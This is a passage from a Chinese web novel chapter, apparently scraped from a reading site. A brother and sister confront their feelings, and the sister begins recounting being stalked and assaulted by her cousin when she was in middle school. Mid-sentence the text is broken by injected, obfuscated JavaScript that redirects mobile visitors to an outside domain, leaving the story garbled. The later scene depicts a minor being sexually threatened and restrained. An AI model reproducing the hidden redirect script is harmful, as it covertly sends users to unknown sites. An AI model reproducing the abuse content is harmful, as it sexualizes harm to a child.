清晨的天光透过窗户打进来，光棱之下是一道隐约的浮沉在变化，桌上装着水的玻璃杯里盛满了浸湿的烟头。


    椅背上的人影仿佛被按下了暂停键，长久地静止。


    墙壁上的挂钟指针一帧一帧地跳着，发出清晰的如同打在心脏上的倒计时声。


    啪嗒——


    时针跳到了八，定格下来。


    近乎死寂的房间里传来了闷得难以辨认的闹钟铃声——隔壁房间传来的。


    倒计时结束了。


    许珩的指节尽头是一根未点燃的烟，他垂下眼，轻轻放下。


    他能听见闹铃被摁断，能听见隔壁房门锁芯打开，紧接着有二十分钟的安静——她去洗澡了，如果早上没有第一节课，她有时候会在早上洗澡。


    再然后。


    许珩慢慢转过身，目光落在房门上。


    一，二……


    叩叩——


    房门传来很轻的敲门声。


    “哥哥。”


    妹妹用一种平静的嗓音开口，和往常的每一天一样。


    许珩知道他这个时候应该回应，也和往常一样，问她早餐想吃什么，下午想喝蜂蜜柚子茶还是雪梨银耳，如今天气转冷，要不要每天煮一些红枣姜茶，如果去学校上课，记得带好围巾，别着凉。


    但最后。


    他只是慢慢回过身，背对着房门，望着玻璃窗外铅灰色的天空，延和的秋天总是阴沉，那层层暗淡的云翳压下来，几乎有了不见天日的昏暗。


    “哥哥？”


    隔着房门的声音是沉闷而失真的。


    没得到回应，门外的人迟疑着，又敲了敲。


    “哥哥，你醒了吗？”


    又等了一会儿。


    大约是不放心，门外的人没有再敲，而是推开房门——许珩从不会锁门，这不算宽敞的出租屋里没有他需要防备的人。


    房门打开的瞬间，温漾闻到了一股浓烈得近乎刺鼻的烟草气息，苦涩得呛人，甚至有种窒息的压抑感。


    本能叫她往后退，但她的落点却是朝前。


    “哥哥。”


    她又喊了一声。


    哥哥……


    永远都是这两个字。


    永远都是这个称呼。


    时刻清晰地提醒着许珩，梦境永远是梦境，总会有醒来的时候，抓得再紧，再如何小心翼翼维护，最后也会湮灭，哪怕只是一阵无害的风。


    许珩撑着冰冷的木质桌面，站起身，手指无意间收紧，又松开。


    他问：“早餐想吃什么？哥哥去给你做。”


    温漾沉默几秒，说：“哥哥，你有没有什么想和我说的？”


    窗户外响起隐约的轰鸣，是乌云在聚集，即将落下秋后的第一场雨。


    天光变得灰蒙蒙，分不清是拂晓还是迟暮。


    许珩垂下眼，过很久，听见自己嗓音沙哑地回答：“要下雨了，出门记得带伞，或者……让哥哥送你。”


    “只有这些吗？”


    温漾问。


    “……是。”


    他的视线悬空，得不到一个落点。


    许久。


    “哥哥。”


    温漾忽然说：“昨天有人跟我告白。”


    她视线锁定在哥哥那刹那僵硬紧绷的身影，而后好似雪山崩灭，厚厚的雪压了下来，那从来挺直的肩背好似变得不再坚定了。


    一道闪电劈开灰蒙蒙的穹顶，雪光骤然亮起，白色的光透过来，身影逆着光成了一片晦暗。


    震耳欲聋的轰鸣声好似就在耳边，刺得耳膜生疼。


    光落下的位置横亘在两人之间。


    阴影被拉得很长。


    他没有回头。


    一直没有。


    长久的缄默是他的回应。


    “哥哥，你有没有什么想和我说的？”


    温漾问道。


    沉寂，淅淅沥沥的雨声冲刷着这座城市，潮湿的风卷进来，吹淡了房间里苦涩的烟草气息，给人得以喘息的生机。


    许珩终于回过身，背着光，看不清神色。


    他开口，声音是粗粝的暗哑，“嗯，妹妹现在有人喜欢了，是好事。”


    温漾沉默了下来。


    他从暗处走来，经过温漾，就要离开。


    “三次。”


    温漾说。


    许珩脚步一顿。


    “对不起，哥哥，”温漾仰起脸，看向哥哥的目光变得有些悲伤，“哥哥把我照顾得很好，是我没有照顾好哥哥，所以才让哥哥变成了这样。”


    许珩垂下眼，目光与她相对，手下意识地抬起，想要去触碰她的眼睛，想说别露出那样的神情。


    他不想要妹妹的怜悯。


    他想要的……


    许珩悬在半空的手又落了下去。


    “为什么不问呢？”


    温漾忽然伸出手，握住了哥哥垂落下去的手。


    许珩的指节颤动了一瞬，垂下的眼睫骤然抬起。


    “哥哥是胆小鬼。”


    温漾说。


    她握着他的手放在了自己的脸侧，闭着眼轻轻蹭了蹭，“是我害的，对吗？”


    许珩喉间微微滚动了一下，哑声说道：“……不是阿漾的错。”


    几乎是脱口而出的，带着本人都没意识到的焦急辩白。


    “哥哥，你也很害怕吗？”


    温漾睁开眼，看向他。


    “害怕爱的人离开。”


    她走上前，用指腹抚平哥哥眉间无意识蹙起的弧度。


    许珩没有回答，只用手覆着她的手背，慢慢收紧，放到唇边，闭上眼吻了吻。


    “阿漾……”


    他哑声念出她的名字。


    仅此。


    “哥哥，”温漾忽然说，“记得吗？我之前和你说过，有一件事想要告诉你。”


    窗户外，雪白的闪电骤亮，雷鸣声炸起，天空变成了灰色。


    雨水在玻璃上一次次留下痕迹，又一次次被冲走。


    “是关于……”


    她低下头，拂开左手的袖口，翻过手腕内侧。


    没有了任何遮挡，那道意味不明的陈年旧疤裸.露在空气中。


    横陈在血管上方的位置。


    “哥哥，”温漾抬起眼，看向他，“我是想告诉你，关于它的来历。”


    许珩望着她的目光在那一刻像是翻涌过什么，但最终只是归于寂静。


    他低下头，吻过她的伤痛。


    “我在。”


    他的声音很轻，轻到几不可闻。


    唯恐吓到这只愿意落在他手边的蝴蝶。


    “在我很小的时候，爸爸生病了，花了很多钱，很多很多，房子没有了，车也没有了，什么都没有了，可是还是不够。”


    “然后妈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902793|160132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妈借了很多钱，但最后……”


    温漾微微抬起眼，眼神里有些空茫，像是在叙述另一个人的人生。


    “并没有奇迹。”


    “妈妈变得很忙，照顾不了我，所以将我送到了舅舅那里。”


    “舅舅对我很好，但是……”


    她声音很轻，“但是舅舅也很忙，他总是不在。”


    “舅妈不喜欢我，姜霆当我是陌生人，骆修凌……恨我。”


    这就是那段日子的开端。


    如果只是寄人篱下的如履薄冰，温漾可以忍受——她已经很擅长忍耐，厌恶也好，鄙夷也好，只要沉默，视而不见就好。


    可她不知道。


    不知道少女的盛放是一种罪。


    在她初三那年开始，一切都发生了翻天覆地的变化。


    或许很早以前，骆修凌看她的眼神早已经变化，是她自己没有意识到，错误地将那当做恨意。


    以至于骆修凌第一次用手指碾过她的唇瓣，她内心的惊惧与难以置信大过了所有。


    从那以后，她总是躲着骆修凌。


    可同住一个屋檐下，是没有办法躲的。


    骆修凌总能找到她。


    他从不掩饰。


    一开始，他用目光。


    后来，他伸出手。


    温漾会反应剧烈地推开他，骆修凌便会笑着看她，说：“你觉得我会做什么？”


    她往后退，乌眸里是氤氲的雾气，颤抖里藏着恐惧，好似被逼到绝境的鹿。


    骆修凌掐住她的脖颈，很轻易地按下她那可笑的挣扎，低下头，在她耳边笑，声音很低，低到近似气音，“猜猜看，我下次会先碰你哪儿？”


    温漾开始恐惧。


    恐惧这个家里只剩下她和骆修凌的时候。


    尽管这样的时候不算多，但舅舅和舅妈总是很忙，很晚才会回来，甚至有时候不回来。


    她恐惧这样的时光，恐惧没有他人的目光衡量时，骆修凌就会变得肆无忌惮。


    他的触碰，像黏腻的蛇信，舔过皮肤留下战栗的噩梦。


    温漾总是睡不好。


    她不知道该怎么办，她想像以前那样，她最擅长做的——忍耐。


    然而骆修凌并没有因此而觉得无味，也更没因此而停止。


    反而变本加厉起来。


    一直到，有一天晚上，舅舅和舅妈都不在家里，姜霆也出门了。


    温漾吃过晚饭就回房间了。


    凌晨。


    她听见了锁芯打开的声音。


    而后房门从外向里推开，骆修凌食指上勾着只钥匙，朝她轻笑，问：“是以为锁门就安全了吗？”


    温漾看了他一眼，什么也没有说，在骆修凌朝她走来的时候，猛地跳下床，朝外跑去。


    一只宽厚的手袭来，抓住了她白色的裙摆，紧接着阴影落下来。


    “跑哪儿去？”


    骆修凌笑着问，手臂肌肉微微绷着，牢牢地锁着她。


    温漾剧烈挣扎起来，几乎是本能地感觉到了危险。


    她尖叫起来，“滚开！”


    骆修凌笑了一下，将她压在床上，单手禁锢住她的两只手腕拉到头顶，膝盖抵住她翻腾的下身，就这样居高临下地看着她。


    欣赏她恐惧的眼泪。


    而后，他俯下身，低声说：“上次的问题，还没想好怎么回答吗？”